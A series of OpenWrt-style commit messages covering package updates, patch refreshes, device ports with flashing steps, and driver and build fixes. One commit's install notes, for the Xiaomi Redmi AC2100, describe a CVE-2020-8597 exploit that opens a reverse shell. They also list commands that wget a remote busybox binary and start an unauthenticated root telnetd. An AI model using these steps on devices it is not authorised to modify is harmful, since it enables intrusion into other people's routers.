I didn't bothered to rebase mesh patches as the changes seems not
trivial and I don't have enough knowledge of those parts to do/test that
properly, so someone else has to forward port them, ideally upstream
them so we don't need to bother anymore. I've just deleted them for now:
004-mesh-use-setup-completion-callback-to-complete-mesh-.patch
005-mesh-update-ssid-frequency-as-pri-sec-channel-switch.patch
006-mesh-inform-kernel-driver-DFS-handler-in-userspace.patch
007-mesh-apply-channel-attributes-before-running-Mesh.patch
011-mesh-Allow-DFS-channels-to-be-selected-if-dfs-is-ena.patch
013-mesh-do-not-allow-pri-sec-channel-switch.patch
015-mesh-do-not-use-offchan-mgmt-tx-on-DFS.patch
016-mesh-fix-channel-switch-error-during-CAC.patch
018-mesh-make-forwarding-configurable.patch
Refreshed all other patches, removed upstreamed patches:
051-wpa_supplicant-fix-race-condition-in-mesh-mpm-new-pe.patch
067-0001-AP-Silently-ignore-management-frame-from-unexpected-.patch
070-driver_nl80211-fix-WMM-queue-mapping-for-regulatory-.patch
071-driver_nl80211-fix-regulatory-limits-for-wmm-cwmin-c.patch
090-wolfssl-fix-crypto_bignum_sum.patch
091-0001-wolfssl-Fix-compiler-warnings-on-size_t-printf-forma.patch
091-0002-wolfssl-Fix-crypto_bignum_rand-implementation.patch
091-0003-wolfssl-Do-not-hardcode-include-directory-in-wpa_sup.patch
800-usleep.patch
Tested-by: Stefan Lippers-Hollmann <s.l-h@gmx.de> [ipq8065/NBG6817; ipq40xx/MAP-AC2200]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This is a temporary commit to have 'make config-clean' remove
temporary files from the previous scripts/config version.
The .gitignore file is updated to deal with the old files as well.
Cc: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
Running make with RECURSIVE_DEP_IS_ERROR=1 will cause a hard failure
when a recursive dependency is detected. This is useful to apply
stricter Ci tests, for example.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
Major changes include:
- Much more readable reverse dependencies separated in groups
- Improved recursive dependency report
- More readable .config files: add comments to signal end of menus
- More warnings for incorrect Config.in entries, such as a 'choice'
default not contained in the 'choice'
- Hability to properly display pseudographics with non-latin locales
- Recursive dependencies can optionally be treated as errors
Changes from failed dcf3e63a35 attempt:
- Recursive dependencies are treated as warnings by default
- The option to treat them as errors is implemented as a command-line
flag to scripts/config/conf instead of a compile-time definition
- fixed handling of select with umnet dependencies
Cc: Petr Štetiar <ynezz@true.cz>
Cc: Jo-Philip Wich <jow@mein.io>
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
Set the mainmenu symbol in SDK Config.in to "OpenWrt Configuration", the
same as the main OpenWrt Config.in. This string is is used as the name
of the top menu in menuconfig, and at the top of the .config file. If
unset, current kconfig will use "Linux Kernel Configuration".
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
This applies 965f341aa9 ("build: fix host menu config targets using
ncurses") to the SDK top Makefile.
If there is a pkg-config in the staging dir, it will try to use it
instead of the host system's pkg-config; then it will fail to find the
ncurses package. Linux's default will be used, which fails in some
cases, such as recent Gentoo systems.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
[fixed From: to match SoB]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This version adds many bugfixes, including a couple of security
vulnerabilities:
- For fast math (enabled by wpa_supplicant option), use a constant time
modular inverse when mapping to affine when operation involves a
private key - keygen, calc shared secret, sign.
- Change constant time and cache resistant ECC mulmod. Ensure points
being operated on change to make constant time.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
Some autotools based build systems are using autoconf-archive scripts
and are expecting them to almost always be available. This is not
required for regular releases as tar balls generated for releases
commonly have existing configure script. This is rather intended to be
used with autotools.mk's autoreconf and in cases it is not always
possible to get release tar ball.
Including this adds little to no overhead in terms of build time as
those are just m4 scripts copied to an appropriate location.
Signed-off-by: Karel Kočí <karel.koci@nic.cz>
[fixed From: to match SoB]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This updates the package to contain the kernel object (.ko) file instead
of the plain object (.o) file.
Signed-off-by: Jeffery To <jeffery.to@gmail.com>
The last kernel update done with commit 500a02bc29 ("x86: Update
configuration") placed most of the updated config only in the x86_64
target.
Move the options needed by the other targets too in the x86 base config,
and add an additional option needed by those targets.
Fixes: 500a02bc29 ("x86: Update configuration")
Signed-off-by: Alberto Bursi <bobafetthotmail@gmail.com>
[commit subject/description tweaks]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Specification:
- CPU: MediaTek MT7621A
- RAM: 128 MB DDR3
- FLASH: 128 MB ESMT NAND
- WIFI: 2x2 802.11bgn (MT7603)
- WIFI: 4x4 802.11ac (MT7615)
- ETH: 3xLAN+1xWAN 1000base-T
- LED: Power, WAN, in Amber and White
- UART: On board near ethernet, opposite side from power
- Modified u-boot
Installation:
1. Run linked exploit to get shell, startup telnet and wget the files over
2. mtd write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-kernel1.bin kernel1
3. nvram set uart_en=1
4. nvram set bootdelay=5
5. nvram set flag_try_sys1_failed=1
6. nvram commit
7. mtd -r write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-rootfs0.bin rootfs0
Restore to stock:
1. Setup PXE and TFTP server serving stock firmware image
(See dhcp-boot option of dnsmasq)
2. Hold reset button down before powering on and wait for flashing amber led
3. Release reset button
4. Wait until status led changes from flashing amber to white
Notes:
This device has dual kernel and rootfs slots like other Xiaomi devices currently
supported (mir3g, etc.) thus, we use the second slot and overwrite the first
rootfs onwards in order to get more space.
Exploit and detailed instructions:
https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100
An implementation of CVE-2020-8597 against stock firmware version 1.0.14
This requires a computer with ethernet plugged into the wan port and an active
PPPoE session, and if successful will open a reverse shell to 192.168.31.177
on port 31337.
As this shell is somewhat unreliable and likely to be killed in a random amount
of time, it is recommended to wget a static compiled busybox binary onto the
device and start telnetd with it.
The stock telnetd and dropbear unfortunately appear inoperable.
(Disabled on release versions of stock firmware likely)
Ie. wget https://yourip/busybox-mipsel -O /tmp/busybox
chmod a+x /tmp/busybox
/tmp/busybox telnetd -l /bin/sh
Tested-by: David Martinez <bonkilla@gmail.com>
Signed-off-by: Richard Huynh <voxlympha@gmail.com>
lzma-loader uart output wasn't working on BCM3380/BCM6362 because these
SoCs have the same processor ID.
Let's use CHIP_ID for establishing the UART base address.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
When CONFIG_AUTOREMOVE is enabled, CFE binaries are removed before the
image creation.
Install CFE binaries to kernel directory and let autoremove clean the
files in PKG_BUILD_DIR.
Also drop unneeded tar cmd/options.
Fixes: dcee4eaa42 ("bcm63xx-cfe: add package with CFE RAM binaries")
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
* ipc: add support for openbsd kernel implementation
* ipc: cleanup openbsd support
* wg-quick: add support for openbsd kernel implementation
* wg-quick: cleanup openbsd support
Very exciting! wg(8) and wg-quick(8) now support the kernel implementation for
OpenBSD. OpenBSD is the second kernel, after Linux, to receive full fledged
and supported WireGuard kernel support. We'll probably send our patch set up
to the list during this next week. `ifconfig wg0 create` to make an interface,
and `wg ...` like usual to configure WireGuard aspects of it, like usual.
* wg-quick: support dns search domains
If DNS= has a non-IP in it, it is now treated as a search domain in
resolv.conf. This new feature will be rolling out across our various GUI
clients in the next week or so.
* Makefile: simplify silent cleaning
* ipc: remove extra space
* git: add gitattributes so tarball doesn't have gitignore files
* terminal: specialize color_mode to stdout only
Small cleanups.
* highlighter: insist on 256-bit keys, not 257-bit or 258-bit
The highlighter's key checker is now stricter with base64 validation.
* wg-quick: android: support application whitelist
Android users can now have an application whitelist instead of application
blacklist.
* systemd: add wg-quick.target
This enables all wg-quick at .services to be restarted or managed as a unit via
wg-quick.target.
* Makefile: remember to install all systemd units
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Olimex RT5350F-OLinuXino devices do not have a default MAC address, and there is
nothing at the 0x4 offset in the factory partition. Using a local address, which
is randomly generated by the kernel, would be a better choice.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
of_get_mac_address can return ERR_PTR since 5.2, so the return pointer should be
checked before used. Otherwise it might cause an oops during boot.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
This is additional fix of c998ae7f0e.
The sysupgrade image of I-O DATA MT7621 devices manufactured by MSTC
(MitraStar Technology Corp.) faced to the booting issue. This was caused
by imcomplete extraction of large kernel image by U-Boot, and this issue
is occurred in initramfs image after fixing of sysupgrade image.
So, use lzma-loader for initramfs image to fix the issue.
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
Co-developed-by: Yanase Yuki <dev@zpc.sakura.ne.jp>
Signed-off-by: Yanase Yuki <dev@zpc.sakura.ne.jp>
Tested-by: Yanase Yuki <dev@zpc.sakura.ne.jp> [wn-ax2033gr]
ramips images now relies on explicit switch setup for proper failsafe
functionality. Remove default cases where it relies on vlan setup in
dts and add switch setup for devices affected.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
The location 0x28 in factory partition is the common one used for
ethernet address on this architecture. Despite, it contains the label
MAC address for the devices at hand.
Consequently, this patch moves 0x28 to the ðernet node in DTS files
(setting the WAN MAC address there) and sets up the lan_mac from 0x22
in 02_network. As a benefit, this allows to use label-mac-device in
DTS instead of ucidef_set_label_macaddr.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The current MAC address assignment for the ASUS RT-AC51U is "wrong",
it actually should be the same as for the RT-AC54U. Fix it.
MAC assignment based on vendor firmware:
2g 0x4 label
5g 0x8004 label +4
lan 0x22 label +4
wan 0x28 label
Thanks to Davide Fioravanti for checking this on his device.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The version inside the compat file determines, if a firmware supports
a specific device. I have not yet fully understood, how this is checked,
but it only seems to indicate which devices are supported by a specific
version of the combined vendor firmware. Devices assume that subsequent
versions, starting with the version that initially added support for a
specific device, are always compatible.
The first compat version that added support for the EP-R6 was '21001:7',
but OpenWrt did use '21001:6' before. This is why the factory image could
not be flashed using the vendor software, but only using TFTP.
The compat version has been bumped by the vendor a few times, but more
devices have been added since (e.g. ER-10X). Because OpenWrt currently
only supports the ER-X, ER-X-SFP and EP-R6, the compat version is
incremented to the version that first supported the EP-R6, which is
'21001:7'.
This allows the factory image to be flashed on EP-R6 without TFTP.
Signed-off-by: Fabian Bläse <fabian@blaese.de>
The mpc85xx-generic subtarget supports the QorIQ SoCs of the p1010
family. Rename the subtarget to reflect this affiliation as it's the
case with the other mpc85xx subtargets.
Signed-off-by: David Bauer <mail@david-bauer.net>
CFE RAM is a second stage bootloader which is usually loaded by CFE ROM
(first stage bootloader) from a JFFS2 partition stored on the NAND.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
This ports support for the TL-WA901ND v4 and v5 from ar71xx to ath79.
They are similar to the TP9343-based TL-WR940N v3/v4 and TL-WR941ND v6.
Specifications:
SoC: TP9343
Flash/RAM: 4/32 MiB
CPU: 750 MHz
WiFi: 2.4 GHz b/g/n
Ethernet: 1 port (100M)
Flashing instructions:
Upload the factory image via the vendor firmware upgrade option.
Flash instruction (TFTP):
1. Set PC to fixed ip address 192.168.0.66
2. Download *-factory.bin image and rename it to * (see below)
3. Start a tftp server with the image file in its root directory
4. Turn off the router
5. Press and hold Reset button
6. Turn on router with the reset button pressed and wait ~15 seconds
7. Release the reset button and after a short time
the firmware should be transferred from the tftp server
8. Wait ~30 second to complete recovery.
* The image name for TFTP recovery is wa901ndv4_tp_recovery.bin for
both variants.
In ar71xx, a MAC address with offset 1 was used for ethernet port.
That's probably wrong, but this commit sticks to it until we know
the correct value.
Like in ar71xx, this builds the default factory.bin with EU country
code.
Thanks to Leonardo Weiss for testing on the v5.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The additional supported device isn't required since this is a new
device. Some board contains an addtional device,
those device were supported in earlier versions which used the
"old" image builder code.
To support an sysupgrade from such old version, there is the all caps
additional device.
Signed-off-by: Alexander Couzens <lynxis@fe80.eu>
Reviewed-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Use similiar naming scheme as ath79.
Since the fritz 7360 v2 was only in the tree for 2 days, there
is no compatibility for the old image.
Users which has installed the fritz 7360 v2 before this change, must
use sysupgrade --force to skip checks on the board.
Signed-off-by: Alexander Couzens <lynxis@fe80.eu>
Reviewed-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This increases the SPI frequency for both ASUS RT-AC51U and RT-AC54U.
Speed comparison tests have been performed on RT-AC54U:
- 10Mhz
root@OpenWrt:~# time cat /dev/mtd* > /dev/null
real 4m 37.78s
user 0m 0.02s
sys 2m 43.92s
- 50Mhz
root@OpenWrt:~# time cat /dev/mtd* > /dev/null
real 1m 28.34s
user 0m 0.03s
sys 0m 46.96s
- 50Mhz fast read
root@OpenWrt:~# time cat /dev/mtd* > /dev/null
real 1m 11.94s
user 0m 0.01s
sys 0m 46.94s
- 80Mhz
root@OpenWrt:~# time cat /dev/mtd* > /dev/null
real 1m 12.31s
user 0m 0.04s
sys 0m 46.96s
- 80Mhz fast read
root@OpenWrt:~# time cat /dev/mtd* > /dev/null
real 1m 12.15s
user 0m 0.02s
sys 0m 46.97s
Based on that, we took 50 MHz with fast-read, as higher frequencies
didn't yield further improvements.
For the RT-AC51U, only the final configuration was tested.
Tested-by: Zhijun You <hujy652@gmail.com> [RT-AC54U]
Tested-by: Davide Fioravanti <pantanastyle@gmail.com> [RT-AC51U]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This commit adds support for Ubiquiti devices based on the XC board
type, such as the PowerBeam 5AC 500. The factory binary structure is
the same as the WA type.
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
The Linksys EA7500 v2 is advertised as AC1900, but its internal
hardware is AC2600 capable.
Hardware
--------
SoC: Mediatek MT7621AT (880 MHz, 2 cores 4 threads)
RAM: 256M (Nanya NT5CC128M16IP-DI)
FLASH: 128MB NAND (Macronix MX30LF1G18AC-TI)
ETH: 5x 10/100/1000 Mbps Ethernet (MT7530)
WIFI:
- 2.4GHz: 1x MT7615N (4x4:4)
- 5GHz: 1x MT7615N (4x4:4)
- 4 antennas: 3 external detachable antennas and 1 internal
USB:
- 1x USB 3.0
- 1x USB 2.0
BTN:
- 1x Reset button
- 1x WPS button
LEDS:
- 1x White led (Power)
- 6x Green leds (link lan1-lan4, link wan, wps)
- 5x Orange leds (act lan1-lan4, act wan) (working but unmodifiable)
Everything works correctly.
Installation
------------
The “factory” openwrt image can be flashed directly from OEM stock
firmware. After the flash the router will reboot automatically.
However, due to the dual boot system, the first installation could fail
(if you want to know why, read the footnotes).
If the flash succeed and you can reach OpenWrt through the web
interface or ssh, you are done.
Otherwise the router will try to boot 3 times and then will
automatically boot the OEM firmware (don’t turn off the router.
Simply wait and try to reach the router through the web interface
every now and then, it will take few minutes).
After this, you should be back in the OEM firmware.
Now you have to flash the OEM Firmware over itself using the OEM web
interface (I tested it using the FW_EA7500v2_2.0.8.194281_prod.img
downloaded from the Linksys website).
When the router reboots flash the “factory” OpenWrt image and this
time it should work.
After the OpenWrt installation you have to use the sysupgrade image
for future updates.
Restore OEM Firmware
--------------------
After the OpenWrt flash, the OEM firmware is still stored in the
second partition thanks to the dual boot system.
You can switch from OpenWrt to OEM firmware and vice-versa failing
the boot 3 times in a row:
1) power on the router
2) wait 15 seconds
3) power off the router
4) repeat steps 1-2-3 twice more.
5) power on the router and you should be in the “other” firmware
If you want to completely remove OpenWrt from your router, switch to
the OEM firmware and then flash OEM firmware from the web interface
as a normal update.
This procedure will overwrite the OpenWrt partition.
Footnotes
---------
The Linksys EA7500-v2 has a dual boot system to avoid bricks.
This system works using 2 pair of partitions:
1) "kernel" and "rootfs"
2) "alt_kernel" and "alt_rootfs".
After 3 failed boot attempts, the bootloader tries to boot the other
pair of partitions and so on.
This system is managed by the bootloader, which writes a bootcount in
the s_env partition, and if successfully booted, the system add a
"zero-bootcount" after the previous value.
A system update performed from OEM firmware, writes the firmware on the
other pair of partitions and sets the bootloader to boot the new pair
of partitions editing the “boot_part” variable in the bootloader vars.
Effectively it's a quick and safe system to switch the selected boot
partition.
Another way to switch the boot partition is:
1) power on the router
2) wait 15 seconds
3) power off the router
4) repeat steps 1-2-3 twice more.
5) power on the router and you should be in the “other” firmware
In this OpenWrt port, this dual boot system is partially working
because the bootloader sets the right rootfs partition in the cmdline
but unfortunately OpenWrt for ramips platform overwrites the cmdline
so is not possible to detect the right rootfs partition.
Because all of this, I preferred to simply use the first pair of
partitions and set read-only the other pair.
However this solution is not optimal because is not possible to know
without opening the case which is the current booted partition.
Let’s take for example a router booting the OEM firmware from the first
pair of partitions. If we flash the OpenWrt image, it will be written
on the second pair. In this situation the router will bootloop 3 times
and then will automatically come back to the first pair of partitions
containg the OEM firmware.
In this situation, to flash OpenWrt correctly is necessary to switch
the booting partition, flashing again the OEM firmware over itself.
At this point the OEM firmware is on both pair of partitions but the
current booted pair is the second one.
Now, flashing the OpenWrt factory image will write the firmware on
the first pair and then will boot correctly.
If this limitation in the ramips platform about the cmdline will be
fixed, the dual boot system can also be implemented in OpenWrt with
almost no effort.
Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com>
Co-Developed-by: Jackson Lim <jackcolentern@gmail.com>
Signed-off-by: Jackson Lim <jackcolentern@gmail.com>
netis WF2770 is a 2.4/5GHz band AC750 router, based on MediaTek MT7620A.
Specifications:
- SoC: MT7620A
- RAM: DDR2 64MB
- Flash: SPI NOR 16MB
- WiFi:
- 2.4GHz: SoC internal
- 5GHz: MT7610EN
- Ethernet: 5x 10/100/1000Mbps
- Switch: MT7530BU
- UART:
- J2: 3.3V, RX, TX, GND (3.3V is the square pad) / 57600 8N1
MAC addresses in factory partition:
0x0004: LAN, WiFi 2.4GHz (label_mac-6)
0x0028: not used (label_mac-1)
0x002e: WAN (label_mac)
0x8004: WiFi 5GHz (label_mac+2)
Installation via web interface:
1. Flash **initramfs** image through the stock web interface.
2. Boot into OpenWrt and perform sysupgrade with sysupgrade image.
Revert to stock firmware:
1. Perform sysupgrade with stock image.
Reviewed-by: Pawel Dembicki <paweldembicki@gmail.com>
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Specification:
- CPU: MTK MT7620A
- RAM: 64MB
- ROM: 16MB SPI Flash Macronix MX25L12835E
- WiFi1: MediaTek MT7620A
- WiFi2: MediaTek MT7612E
- Button: reset, wps
- LED: 9 LEDs:Power, WiFi 2.4G,WiFi 5G, USB, LAN1, LAN2, LAN3, LAN4, WAN
- Ethernet: 5 ports, 4 LAN + 1 WAN
- Other: 1x UART 1x USB2.0
Installation:
Update using ASUS Firmware Restoration Tool:
1. Download the ASUS Firmware Restoration Tool but don't open it yet
2. Unplug your computer from the router
3. Put the router into Rescue Mode by: turning the power off, using a pin
to press and hold the reset button, then turning the router back on while
keeping the reset button pressed for ~5 secs until the power LED starts
flashing slowly (which indicates the router has entered Rescue Mode)
4. Important (if you don't do this next step the Asus Firmware
Restoration Tool will wrongly assume that the router is not in Rescue Mode
and will refuse to flash it): go to the Windows Control Panel and
temporarily disable ALL other network adapters except the one you will use
to connect your computer to the router
5. For the single adapter you left enabled, temporarily give it the
static IP 192.168.1.10 and the subnet mask 255.255.255.0
6. Connect a LAN cable between your computer (make sure to use the
Ethernet port of the adapter you've just set up) and port 1 of the router
(not the router's WAN port)
7. Rename sysupgrade.bin to factory.trx
8. Open the Asus Firmware Restoration Tool, locate factory.trx and click
upload (if Windows shows a compatibility prompt, confirm that the tool worked fine)
9. Flashing and reboot is finished when the power LED stops blinking and
stays on
MAC assignment based on vendor firmware:
2g 0x4 label
5g 0x8004 label +4
lan 0x22 label +4
wan 0x28 label
Signed-off-by: Zhijun You <hujy652@gmail.com>
[rebased due to DTSI patch, minor commit message adjustments, fix
label MAC address (lan->wan), do spi frequency increase separately]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This creates a DTSI for the ASUS RT-AC51U and the upcoming RT-AC54U,
as they are quite similar.
White at it, drop the unneeded "status = okay" for ethernet.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This drops some ancient kernel version switches from patches on
lantiq target. The patch only adjusts the latest kernel 5.4, as
doing it a second time for an older kernel seems a waste of time
for a cosmetic change.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This drops some ancient kernel version switches from patches on
bcm27xx target. The patch only adjusts the latest kernel 5.4, as
doing it a second time for an older kernel seems a waste of time
for a cosmetic change.
Refresh remaining target patches.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This drops the obsolete version switches for non-supported kernels
from local drivers in generic target.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This drops kernel version switches for versions not supported by
OpenWrt master at the moment. This only adjusts local code, but
doesn't touch patches to existing external packages.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The property "ralink,port-map" has been obsolete long before
this device was added, and the device is a one-port anyway.
Just remove it.
Fixes: 5ef79af4f8 ("ramips: add support for Ravpower WD03")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This tidies up the ethernet node in mt7620 DTS files by:
- removing unnecessary status as it is not disabled
- reordering properties consistently
- adding empty lines to enhance readability
This should make comparison and reviewing new PRs based on C/P easier.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
crypto_bignum_rand() use needless time-consuming filtering
which resulted in SAE no longer connecting within time limits.
Import fixes from hostap upstream to fix that.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
31e99fe3da which introduced this code was unfortunately untested.
This commit fixes a number of issues and works around the fact that in
this particular scheme, the LZO payload may be padded at the end which
will trigger a harmless lzo decompression error.
This commit also disambiguates the debug printks.
Tested-by: Robert Marko <robimarko@gmail.com>
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
Fixes: 31e99fe3da ("generic: platform/mikrotik: support LZOR encoding")
This commit adds support for the Fritzbox 7360v2
CPU: VR9 500MHz Cores: 2
RAM: 128 MB
NOR-Flash: 32 MB
WLAN: AR9287-BL1A
DECT is not working.
Thanks Sebastian Ortwein for adding 7360SL.
The dts file is derived from avm_fritz7360sl.dts.
Firmware can be flashed with this method:
1.) Set your client IP to 192.168.178.2
2.) Power on your your Fritzbox and connect to 192.168.178.1
via ftp in the first 5 seconds.
3.) login with adam2/adam2
4.) type into the ftp prompt:
passive
binary
debug 1
quote MEDIA FLSH // (not FLASH)
put openwrt-lantiq-xrx200-avm_fritz7360v2-squashfs-sysupgrade.bin mtd1
// using the correct location for the squashfs-sysupgrade-firmware.bin
5.) wait till red light flashing turns off.
6.) type: exit
Run tested with kernel 4.19 and 5.4 on Fritzbox 7360 V2.
Issue:
Ethernet speed is slow, (iperf between a Xiaomi mir3g
and this router results in <80Mbits throughput
with a wired cable when using the gbit ports.)
Signed-off-by: Yushi Nishida <kyro2man@gmx.net>
2e73848 jail: SIGSEGV must not be forwarded to the child process
7e150f6 jail: unnamed jails can not have netns (fix segfault)
1ab539b jail: add option to provide /dev/console to containers
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Increase SPI frequency to 33.333 MHz. It's maximum frequency supported
by SPI Flash memory chip without Fast read opcode.
Before:
$ time dd if=/dev/mtd1 of=/dev/null bs=8M
0+1 records in
0+1 records out
real 0m 3.21s
user 0m 0.00s
sys 0m 3.21s
After:
$ time dd if=/dev/mtd1 of=/dev/null bs=8M
0+1 records in
0+1 records out
real 0m 2.52s
user 0m 0.00s
sys 0m 2.52s
Tested on TP-Link TL-WR1043ND V2.
Signed-off-by: Aleksander Jan Bajkowski <A.Bajkowski@stud.elka.pw.edu.pl>
The bcm6345-periph-intc driver only targets a single CPU at a time, even
if the notional affinity is wider. Let's inform the core code about this.
This patch gets rid of the kernel message:
"genirq: irq_chip bcm6345-periph-intc did not update eff. affinity mask
of irq 52"
Signed-off-by: Daniel Gonzalez Cabanelas <dgcbueu@gmail.com>
In file included from ./arch/mips/include/asm/io.h:34,
from ./arch/mips/include/asm/mmiowb.h:5,
from ./include/linux/spinlock.h:60,
from ./include/linux/irq.h:14,
from drivers/irqchip/irq-bcm6345-ext.c:10:
drivers/irqchip/irq-bcm6345-ext.c: In function 'bcm6345_ext_intc_of_init':
./arch/mips/include/asm/mach-bcm63xx/ioremap.h:48:9: warning: 'base' may be used uninitialized in this function [-Wmaybe-uninitialized]
return is_bcm63xx_internal_registers((unsigned long)addr);
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
drivers/irqchip/irq-bcm6345-ext.c:255:16: note: 'base' was declared here
void __iomem *base;
^~~~
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
drivers/irqchip/irq-bcm6345-periph.c: In function 'bcm6345_periph_irq_handle':
drivers/irqchip/irq-bcm6345-periph.c:55:21: warning: 'block' may be used uninitialized in this function [-Wmaybe-uninitialized]
struct intc_block *block;
^~~~~
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
1094741224 aarch64: Accept PLT calls to __getauxval within libc.so
a98b8b221c NEWS: Mention fixes for BZ 25810/25896/25902/25966
4c833bbebe x86-64: Use RDX_LP on __x86_shared_non_temporal_threshold [BZ #25966]
3b9ceb3320 NEWS: Mention bug 25639 fixed in 2.31 branch
bb44fe7711 oc_FR locale: Fix spelling of April (bug 25639)
f2ac792047 oc_FR locale: Fix spelling of Thursday (bug 25639)
18fdba553d Add a C wrapper for prctl [BZ #25896]
7c9e054afd powerpc: Rename argN to _argN in LOADARGS_N [BZ #25902]
9c5ae39a64 Add C wrappers for process_vm_readv/process_vm_writev [BZ #25810]
63c3696a4a Mark unsigned long arguments with U in more syscalls [BZ #25810]
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
While "ok" is recognized in DT parsing, only "okay" is actually
mentioned as valid value. Replace it accordingly.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
While "ok" is recognized in DT parsing, only "okay" is actually
mentioned as valid value. Replace it accordingly.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This commit removes the target-specific diag.sh script. This way, the
generic one is used for the target, which uses DT-aliases to specify the
LEDs used.
Though generic diag.sh allows to use different LEDs to indicate different
states, this patch just moves the old assignment and does not try to
"improve" the assignment by using additional colors.
However, individual proposals to do so are welcome.
For the few cases where status_led2 was used in old diag.sh, only the
primary LED was migrated.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The id parameter in __rb_get_wlan_data() was incorrectly used on the
assumption that id "0" would always be tied to ath9k with RLE encoding
and positive id (in fact, only id "1" was valid) would always be tied to
("external") ath10k with LZO encoding.
Newer hardware revisions of supported devices prove this assumption to
be invalid, with ath9k caldata being now wrapped in MAGIC_ERD and LZO
compressed, so disable this check to allow newer hardware to correctly
decode caldata for ath9k. Since ath10k caldata is no longer pulled from
this implementation, this commit also disables the publication in sysfs
to avoid wasting memory.
Note: this patch assumes that ath9k caldata is never stored with the new
"LZOR" encoding scheme found on some ath10k devices.
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
Program received signal SIGSEGV, Segmentation fault.
main_autofs (argv=<optimized out>, argc=<optimized out>)
at fstools-2020-05-06-eec16e2f/block.c:1193
1193: if (!m->autofs && (mp = find_mount_point(pr->dev))) {
Fixes: c3a43753b9 ("fstools: update to the latest version")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
An e-mail response from MikroTik contained a minimal overview
on hardware option bits which mentioned a currently unknown bit.
While not being too detailed what it does, add it for documentation purposes.
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Hardware
--------
SoC: Qualcomm IPQ4029
RAM: 512M DDR3
FLASH: - 128MB NAND (Macronix MX30LF1G18AC)
- 4MB SPI-NOR (Macronix MX25R3235F)
TPM: Atmel AT97SC3203
BLE: Texas Instruments CC2540T
attached to ttyMSM0
ETH: Atheros AR8035
LED: System (red / green / amber)
BTN: Reset
The USB port on the device is (in contrast to other Aruba boards) real
USB. The AP uses a CP2101 USB TTY converter on the board.
Console baudrate is 9600 8n1.
To enable a full list of commands in the U-Boot "help" command, execute
the literal "diag" command.
Installation
------------
1. Get the OpenWrt initramfs image. Rename it to ipq40xx.ari and put it
into the TFTP server root directory. Configure the TFTP server to
be reachable at 192.168.1.75/24. Connect the machine running the TFTP
server to the ethernet port of the access point.
2. Connect to the serial console. Interrupt autobooting by pressing
Enter when prompted.
3. Configure the bootargs and bootcmd for OpenWrt.
$ setenv bootargs_openwrt "setenv bootargs console=ttyMSM1,9600n8"
$ setenv nandboot_openwrt "run bootargs_openwrt; ubi part aos1;
ubi read 0x85000000 kernel; bootm 0x85000000"
$ setenv ramboot_openwrt "run bootargs_openwrt;
setenv ipaddr 192.168.1.105; setenv serverip 192.168.1.75;
netget; set fdt_high 0x87000000; bootm"
$ setenv bootcmd "run nandboot_openwrt"
$ saveenv
4. Load OpenWrt into RAM:
$ run ramboot_openwrt
5. After OpenWrt booted, transfer the OpenWrt sysupgrade image to the
/tmp folder on the device.
6. Flash OpenWrt:
Make sure you use the mtd partition with the label "ubi" here!
$ ubidetach -p /dev/mtd1
$ ubiformat /dev/mtd1
$ sysupgrade -n /tmp/openwrt-sysupgrade.bin
To go back to the stock firmware, simply reset the bootcmd in the
bootloader to the original value:
$ setenv bootcmd "boot"
$ saveenv
Signed-off-by: David Bauer <mail@david-bauer.net>
Hotplug scripts are sourced so the #!/bin/sh is superfluous/deceptive.
Re-arrange script to only source 'procd' if we get to the stage of
needing to signal the process, reduce hotplug processing load a little.
